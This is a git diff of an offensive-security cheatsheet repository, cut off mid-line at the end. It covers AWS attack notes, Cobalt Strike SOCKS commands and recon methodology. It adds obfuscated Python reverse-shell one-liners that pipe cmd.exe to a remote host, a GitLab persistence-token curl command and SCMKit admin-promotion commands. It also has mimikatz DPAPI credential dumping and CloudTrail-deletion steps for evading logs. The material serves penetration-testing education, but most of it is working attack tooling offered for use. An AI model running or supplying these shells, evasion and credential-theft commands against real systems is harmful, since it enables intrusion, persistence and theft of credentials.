Mounting the volume + +``` +sudo mount /dev/sdfd /directory +``` + +After mounting, we will have access to the disk. + +# RDS - Relational Database Service + +* Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar) +* The access is done by using password, password+IAM or password+kerberos +* It's possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip. +* RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials. + +## Enumeration + +### Listing information about clusters in RDS + +``` +aws rds describe-db-clusters +``` + +### Listing information about RDS instances + +``` +aws rds describe-db-instances +``` + +* IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance + +### Listing information about subnet groups in RDS + +``` +aws rds describe-db-subnet-groups +``` + +### Listing information about database security groups in RDS + +``` +aws rds describe-db-security-groups +``` + +### Listing information about database proxies + +``` +aws rds describe-db-proxies +``` + +## Data exfiltration + +* If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect) + +### List instances in RDS + +``` +aws rds describe-db-instances +``` + +### List information about the specified security group + +``` +aws ec2 describe-security-groups --group-ids id +``` + +### Password based authentication + +``` +mysql -h hostname -u name -P port -p password +``` + +### IAM Based authentication + +**1. Identify the user** + +``` +aws sts get-caller-identity +``` + +**2. List all policies attached to a role** + +``` +aws iam list-attached-role-policies --role-name name +``` + +**3. Get information about a specific version of a policy** + +``` +aws iam get-policy-version --policy-arn arn --version-id ID +``` + +**4. Get a temporary token from the RDS** + +``` +aws rds generate-db-auth-token --hostname hostname --port port --username username --region region +``` + +* To be easier, we can put it in a variable + +``` +TOKEN=$(aws rds generate-db-auth-token --hostname hostname --port port --username username --region region) +``` + +**5. Connect to the DB using the token** + +``` +mysql -h hostname -u name -P port --enable-cleartext-plugin --user=user --password=$TOKEN +``` + +## SSO & Other Services + +## Single Sign On (SSO) + +* Used to centrally manage access to multiple AWS accounts and applications. +* Provide users a way to interact with all services and applications through one place +* Can be used to manage access and user permissions to all AWS accounts +* The identity source can use AWS SSO's identity store or external identity store (Okta,SAML and similar) + +## CloudTrail + +* Log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account +* Provide event history of AWS account activity, SDKs, command line tools and other services +* Commonly used to detect unsual behavior in AWS account +* Pacu automatically changes the user agent to deceive the logs of cloudtrail + +### Userful Commands + +#### List trails + +``` +aws cloudtrail list-trails +``` + +#### Disabling CloudTrail + +``` +aws cloudtrail delete-trail --name example_trail --profile name +``` + +#### Disable monitoring of events from global events + +``` +aws cloudtrail update-trail --name example_trail --no-include-global-service-event +``` + +#### Disable CloudTrail on specific regions + +``` +aws cloudtrail update-trail --name example_trail --no-include-global-service-event --no-is-multi-region --region=eu-west +``` + +## AWS Shield + +* Used to protect services from Denial of Service Attacks +* There are 2 versions, the standard and the Advanced + +## AWS Waf + +* Used to protect applications against common web application attacks +* Common WAF bypasses can be tested against it +* To detect an WAF, we can use `wafw00f` + +## AWS Inspector + +* Automated security assessment service that helps improve the security and compliance of applications on AWS +* Works with an agent + +## AWS Guard Duty + +* Threat detection service that monitors for malicious activity and unauthorized behavior +* Works by collecting and analyzing logs + +## Virtual Private Cloud + +* Used to create an isolated infrastructure within the cloud, including subnets and so on. +* If the VPC has an internet gateway, means its a public subnet +* Every VPC can have Network ACL's + +## Routing Tables + +A set of rules to determine where the traffic will be directed, comes in form of Destination and Target, defined as follows + +``` +DESTINATION TARGET + +IP local -> VPC Internal +IP igw -> Internet Gateway +IP nat -> NAT Gateway +IP pcx -> VPC Peering +IP vpce -> VPC Endpoint +IP vgw -> VPN Gateway +IP eni -> Network Interface +``` + +* VPC Internal -> Internal IP, no internet connection +* Internet Gateway -> Used to access the internet +* NAT Gateway -> Does the NAT between machines, allows one way connection to the internet +* VPC Peering -> Allows the communication between 2 VPC's +* VPC Endpoint -> Used to access aws services without internet connection (Internet Gateway) +* VPN Gateway -> Used to expand the cloud to on premises and vice-versa +* Network Interface -> Network Interfaces + +## Enumeration + +### Listing VPC's + +``` +aws ec2 describe-vpcs +``` + +### Listing VPC's specifing the region + +``` +aws ec2 describe-vpcs --region us-west-1 +``` + +### Listing VPC information by ID + +``` +aws ec2 describe-vpcs --filters "Name=vpc-id,Values=ID" +``` + +### Listing subnet's + +``` +aws ec2 describe-subnets +``` + +### Listing subnet's by VPC-id + +``` +aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID" +``` + +### Listing routing tables + +``` +aws ec2 describe-route-tables +``` + +### Listing routing tables by VPC-id + +``` +aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID" +``` + +### Listing Network ACL's + +``` +aws ec2 describe-network-acls +``` + +## Lateral Movement and Pivoting + +* We can abuse VPC peering to do lateral movement + +### Scenario + +* There are 3 VPC's -> A,B,C +* A can acess B through peering and B access C. We can use VPC B as a peering pivot to acess VPC C from VPC A. +* The lateral movement can be done if we gather keys or other machines +* Always enumerate the subnets to see in which subnet we can access other VPC's + +#### Listing VPC peering connections + +``` +aws ec2 describe-vpc-peering-connections +``` + +#### Listing subnets of specific VPC (Important because the access can be restricted to specific subnets to other VPC's) + +``` +aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID" +``` + +#### Listing routing tables + +``` +aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID" +``` + +#### Listing instances on the specified VPC ID + +``` +aws ec2 describe-instances --filters "Name=vpc-id,Values=ID" +``` + +#### Listing instances on the specified subnet + +``` +aws ec2 describe-instances --filters "Name=subnet-id,Values=ID" +``` + ## References * [An introduction to penetration testing AWS - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-aws/) diff --git a/Methodology and Resources/Cobalt Strike - Cheatsheet.md b/Methodology and Resources/Cobalt Strike - Cheatsheet.md index affccdb..e84435c 100644 --- a/Methodology and Resources/Cobalt Strike - Cheatsheet.md +++ b/Methodology and Resources/Cobalt Strike - Cheatsheet.md @@ -337,6 +337,11 @@ Opsec safe Pass-the-Hash: ```powershell # Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage. beacon > socks [PORT] +beacon > socks [port] +beacon > socks [port] [socks4] +beacon > socks [port] [socks5] +beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] +beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging] # Proxy browser traffic through a specified Internet Explorer process. beacon > browserpivot [pid] [x86|x64] diff --git a/Methodology and Resources/Methodology and enumeration.md b/Methodology and Resources/Methodology and enumeration.md index d74ff32..e0bd4f2 100644 --- a/Methodology and Resources/Methodology and enumeration.md +++ b/Methodology and Resources/Methodology and enumeration.md @@ -6,97 +6,58 @@ * Shodan * Wayback Machine * The Harvester + * Github OSINT * [Active Recon](#active-recon) - * Network discovery - * RPCClient - * Enum4all - -* [List all the subdirectories and files](#list-all-the-subdirectories-and-files) - * Gobuster - * Backup File Artifacts Checker + * [Network discovery](#network-discovery) + * [Web discovery](#web-discovery) * [Web Vulnerabilities](#looking-for-web-vulnerabilities) - * Repository Github - * Burp - * Web Checklist - * Nikto - * Payment functionality ## Passive recon -* Using Shodan (https://www.shodan.io/) to detect similar app +* Using [Shodan](https://www.shodan.io/) to detect similar app ```bash can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse) nmap --script shodan-hq.nse --script-args 'apikey=,target=' ``` -* Using The Wayback Machine (https://archive.org/web/) to detect forgotten endpoints +* Using [The Wayback Machine](https://archive.org/web/) to detect forgotten endpoints ```bash look for JS files, old links curl -sX GET "http://web.archive.org/cdx/search/cdx?url=&output=text&fl=original&collapse=urlkey&matchType=prefix" ``` -* Using The Harvester (https://github.com/laramies/theHarvester) +* Using [The Harvester](https://github.com/laramies/theHarvester) ```python python theHarvester.py -b all -d domain.com ``` -## Active recon - -* [Network discovery](Network%20Discovery.md) with masscan, nmap etc. - -* rpcclient - +* Look for private information in [GitHub]() repos with [GitRob](https://github.com/michenriksen/gitrob.git) ```bash - $ rpcclient -U '%' [target host] - rpcclient $> querydominfo - Domain: WORKGROUP - Server: METASPLOITABLE - Comment: metasploitable server (Samba 3.0.20-Debian) - Total Users: 35 - - rpcclient $> enumdomusers - user:[games] rid:[0x3f2] - user:[nobody] rid:[0x1f5] - user:[bind] rid:[0x4ba] + gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2 ``` -* enum4linux - ```bash - enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/) - Usage: ./enum4linux.pl [options] ip - -U get userlist - -M get machine list* - -S get sharelist - -P get password policy information - -G get group and member list - -d be detailed, applies to -U and -S - -u user specify username to use (default “”) - -p pass specify password to use (default “” - -a Do all simple enumeration (-U -S -G -P -r -o -n -i). - -o Get OS information - -i Get printer information - ============================== - | Users on XXX.XXX.XXX.XXX | - ============================== - index: 0x1 Account: games Name: games Desc: (null) - index: 0x2 Account: nobody Name: nobody Desc: (null) - index: 0x3 Account: bind Name: (null) Desc: (null) - index: 0x4 Account: proxy Name: proxy Desc: (null) - index: 0x5 Account: syslog Name: (null) Desc: (null) - index: 0x6 Account: user Name: just a user,111,, Desc: (null) - index: 0x7 Account: www-data Name: www-data Desc: (null) - index: 0x8 Account: root Name: root Desc: (null) - ``` +## Active recon -* Zone Transfer +### Network discovery - ```powershell +* Subdomains enumeration + * [projectdiscovery/subfinder](https://github.com/projectdiscovery/subfinder): `subfinder -d hackerone.com` + +* Network discovery + * Scan IP ranges with `nmap`, [robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) and [projectdiscovery/naabu](https://github.com/projectdiscovery/naabu) + * Discover services, version and banners + +* ASN enumeration + * [projectdiscovery/asnmap](https://github.com/projectdiscovery/asnmap): `asnmap -a AS45596 -silent` + +* DNS Zone Transfer + ```ps1 host -t ns domain.local domain.local name server master.domain.local. @@ -106,105 +67,66 @@ dig axfr domain.local @192.168.1.1 ``` -## List all the subdirectories and files +### Web discovery -* Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. +* List all the subdirectories and files with `gobuster` or `ffuf` + ```ps1 + # gobuster -w wordlist -u URL -t threads + ./gobuster -u http://example.com/ -w words.txt -t 10 + ``` +* Find backup files with [mazen160/bfac](https://github.com/mazen160/bfac) ```bash - git clone https://github.com/mazen160/bfac - - Check a single URL bfac --url http://example.com/test.php --level 4 - - Check a list of URLs bfac --list testing_list.txt ``` -* Using DirBuster or GoBuster +* Map technologies: Web service enumeration using [projectdiscovery/httpx](https://github.com/projectdiscovery/httpx) or Wappalyzer + * Gather favicon hash, JARM fingerprint, ASN, status code, services and technologies (Github Pages, Cloudflare, Ruby, Nginx,...) - ```bash - ./gobuster -u http://buffered.io/ -w words.txt -t 10 - -u url - -w wordlist - -t threads +* Take screenshots for every websites using [sensepost/gowitness](https://github.com/sensepost/gowitness) - More subdomain : - ./gobuster -m dns -w subdomains.txt -u google.com -i +* Automated vulnerability scanners + * [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei): `nuclei -u https://example.com` + * [Burp Suite's web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner) + * [sullo/nikto](https://github.com/sullo/nikto): `./nikto.pl -h http://www.example.com` - gobuster -w wordlist -u URL -r -e - ``` +* Manual Testing: Explore the website with a proxy: + * [Caido - A lightweight web security auditing toolkit](https://caido.io/) + * [ZAP - OWASP Zed Attack Proxy](https://www.zaproxy.org/) + * [Burp Suite - Community Edition](https://portswigger.net/burp/communitydownload) -* Using a script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois) - - ```bash - #!/bin/bash - for ipa in 98.13{6..9}.{0..255}.{0..255}; do - wget -t 1 -T 3 http://${ipa}/phpinfo.php; done & - ``` - -* Using a script to detect all .htpasswd files in a range of IPs - - ```bash - #!/bin/bash - for ipa in 98.13{6..9}.{0..255}.{0..255}; do - wget -t 1 -T 3 http://${ipa}/.htpasswd; done & - ``` ## Looking for Web vulnerabilities -* Look for private information in GitHub repos with GitRob - - ```bash - git clone https://github.com/michenriksen/gitrob.git - gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2 - ``` - -* Explore the website with a proxy (ZAP/Burp Suite) - 1. Start proxy, visit the main target site and perform a Forced Browse to discover files and directories - 2. Map technologies used with Wappalyzer and Burp Suite (or ZAP) proxy - 3. Explore and understand available functionality, noting areas that correspond to vulnerability types - - ```bash - Burp Proxy configuration on port 8080 (in .bashrc): - alias set_proxy_burp='gsettings set org.gnome.system.proxy.http host "http://localhost";gsettings set org.gnome.system.proxy.http port 8080;gsettings set org.gnome.system.proxy mode "manual"' - alias set_proxy_normal='gsettings set org.gnome.system.proxy mode "none"' - - then launch Burp with : java -jar burpsuite_free_v*.jar & - ``` - -* [WAHH Task Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html +* Explore the website and look for vulnerabilities listed in this repository: SQL injection, XSS, CRLF, .... +* [The Web Application Hacker's Handbook Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html * Subscribe to the site and pay for the additional functionality to test -* Launch a Nikto scan in case you missed something - - ```powershell - nikto -h http://domain.example.com - ``` - -* Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392) +* Inspect Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392) > if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. " e.g : -Test card numbers and tokens + Test card numbers and tokens -| NUMBER | BRAND | TOKEN | -| :------------- | :------------- | :------------- | -| 4242424242424242 | Visa | tok_visa | -| 4000056655665556 | Visa (debit) | tok_visa_debit | -| 5555555555554444 | Mastercard | tok_mastercard | + | NUMBER | BRAND | TOKEN | + | :------------- | :------------- | :------------- | + | 4242424242424242 | Visa | tok_visa | + | 4000056655665556 | Visa (debit) | tok_visa_debit | + | 5555555555554444 | Mastercard | tok_mastercard | -International test card numbers and tokens + International test card numbers and tokens -| NUMBER | TOKEN | COUNTRY | BRAND | -| :------------- | :------------- | :------------- | :------------- | -| 4000000400000008 | tok_at | Austria (AT) | Visa | -| 4000000560000004 | tok_be | Belgium (BE) | Visa | -| 4000002080000001 | tok_dk | Denmark (DK) | Visa | -| 4000002460000001 | tok_fi | Finland (FI) | Visa | -| 4000002500000003 | tok_fr | France (FR) | Visa | + | NUMBER | TOKEN | COUNTRY | BRAND | + | :------------- | :------------- | :------------- | :------------- | + | 4000000400000008 | tok_at | Austria (AT) | Visa | + | 4000000560000004 | tok_be | Belgium (BE) | Visa | + | 4000002080000001 | tok_dk | Denmark (DK) | Visa | + | 4000002460000001 | tok_fi | Finland (FI) | Visa | + | 4000002500000003 | tok_fr | France (FR) | Visa | ## References diff --git a/Methodology and Resources/Network Pivoting Techniques.md b/Methodology and Resources/Network Pivoting Techniques.md index 35db818..48b3358 100644 --- a/Methodology and Resources/Network Pivoting Techniques.md +++ b/Methodology and Resources/Network Pivoting Techniques.md @@ -20,6 +20,7 @@ * [RevSocks](#revsocks) * [plink](#plink) * [ngrok](#ngrok) +* [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools) * [Basic Pivoting Types](#basic-pivoting-types) * [Listen - Listen](#listen---listen) * [Listen - Connect](#listen---connect) @@ -410,7 +411,39 @@ tar xvzf cloudflared-stable-linux-amd64.tgz # Expose accessible internal service to the internet ./cloudflared tunnel --url ://: ``` - + +## Capture a network trace with builtin tools + +* Windows (netsh) + ```ps1 + # start a capture use the netsh command. + netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384 + + # stop the trace + netsh trace stop + + # Event tracing can be also used across a reboots + netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384 + + # To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version. + etl2pcapng.exe c:\trace.etl c:\trace.pcapng + + # Use filters + netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384 + ``` +* Linux (tcpdump) + ```ps1 + sudo apt-get install tcpdump + tcpdump -w 0001.pcap -i eth0 + tcpdump -A -i eth0 + + # capture every TCP packet + tcpdump -i eth0 tcp + + # capture everything on port 22 + tcpdump -i eth0 port 22 + ``` + ## Basic Pivoting Types @@ -456,3 +489,4 @@ tar xvzf cloudflared-stable-linux-amd64.tgz * 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/) * [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49) * [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory) +* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/) \ No newline at end of file diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index 01355b3..8f45d15 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -159,10 +159,16 @@ IPv6 (No Spaces, Shortened) python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' ``` -Windows only +Windows only (Python2) ```powershell -C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" +python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" +``` + +Windows only (Python3) + +```powershell +python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()" ``` ### PHP diff --git a/Methodology and Resources/Source Code Management.md b/Methodology and Resources/Source Code Management.md new file mode 100644 index 0000000..d0295ba --- /dev/null +++ b/Methodology and Resources/Source Code Management.md @@ -0,0 +1,125 @@ +# Source Code Management + +> + +## Summary + +* [Enumeration](#enumeration) +* [Exploit Gitlab CI/Github Actions](#exploit-gitlab-cigithub-actions) +* [References](#references) + + +## Enumeration + + +Using [SCMKit - Source Code Management Attack Toolkit](https://github.com/xforcered/SCMKit) + +* Discover repositories being used in a particular SCM system + ```ps1 + SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local + SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local + ``` +* Search for repositories by repository name in a particular SCM system + ```ps1 + SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term" + SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term" + ``` +* Search for code containing a given keyword in a particular SCM system + ```ps1 + SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term" + SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term" + ``` +* Search for files in repositories containing a given keyword in the file name in a particular SCM system + ```ps1 + SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term" + SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term" + ``` +* List snippets owned by the current user in GitLab + ```ps1 + SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local + SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local + ``` +* List all GitLab runners available to the current user in GitLab + ```ps1 + SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local + SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local + ``` +* Get the assigned privileges to an access token being used in a particular SCM system + ```ps1 + SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local + ``` +* Promote a normal user to an administrative role in a particular SCM system + ```ps1 + SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName + ``` +* Create/List/Delete an access token to be used in a particular SCM system + ```ps1 + SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName + SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID + SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser + SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser + ``` +* Create/List an SSH key to be used in a particular SCM system + ```ps1 + SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key" + SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key" + SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local + SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local + SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID + SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID + ``` + +## Personal Access Token + +Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance. + +```ps1 +curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens" +``` + +## Exploit Gitlab CI/Github Actions + +* Gitlab-CI "Command Execution" example: `.gitlab-ci.yml` + ```yaml + stages: + - test + + test: + stage: test + script: + - | + whoami + parallel: + matrix: + - RUNNER: VM1 + - RUNNER: VM2 + - RUNNER: VM3 + tags: + - ${RUNNER} + ``` +* Github Action "Command Execution" example: `.github/workflows/example.yml` + ```yml + name: example + on: + workflow_dispatch: + push: + branches: [ main ] + pull_request: + branches: [ main ] + + jobs: + build: + runs-on: windows-2019 + + steps: + - name: Execute + run: | + whoami + ``` + +## References + +* [Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022](https://securityintelligence.com/posts/abusing-source-code-management-systems/) \ No newline at end of file diff --git a/Methodology and Resources/Windows - DPAPI.md b/Methodology and Resources/Windows - DPAPI.md new file mode 100644 index 0000000..1126fc6 --- /dev/null +++ b/Methodology and Resources/Windows - DPAPI.md @@ -0,0 +1,86 @@ +# Windows - DPAPI + +> On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft's Data Protection API and stored as "blob" files in user AppData folder. + +## Summary + +* [Data Protection API](#data-protection-api) + * [List Credential Files](#list-credential-files) + * [Mimikatz - Credential Manager & DPAPI](#mimikatz---credential-manager--dpapi) + * [Hekatomb - Steal all credentials on domain](#hekatomb---steal-all-credentials-on-domain) + * [DonPAPI - Dumping DPAPI credz remotely](#donpapi---dumping-dpapi-credz-remotely) + + +## Data Protection API + +* Outside of a domain: the user's `password hash` is used to encrypt these "blobs". +* Inside a domain: the `domain controller's master key` is used to encrypt these blobs. + +With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the work +stations in the domain. + +```ps1 +vaultcmd /list + +VaultCmd /listcreds:| /all +vaultcmd /listcreds:"Windows Credentials" /all +``` + +### List Credential Files + +```ps1 +dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ +dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ + +Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ +Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ +``` + + +### Mimikatz - Credential Manager & DPAPI + +```powershell +# check the folder to find credentials +dir C:\Users\\AppData\Local\Microsoft\Credentials\* + +# check the file with mimikatz +mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 +# find master key +mimikatz !sekurlsa::dpapi +# use master key +mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b + +# find and export backup keys +lsadump::backupkeys /system:dc01.lab.local /export +# use backup keys +dpapi::masterkey 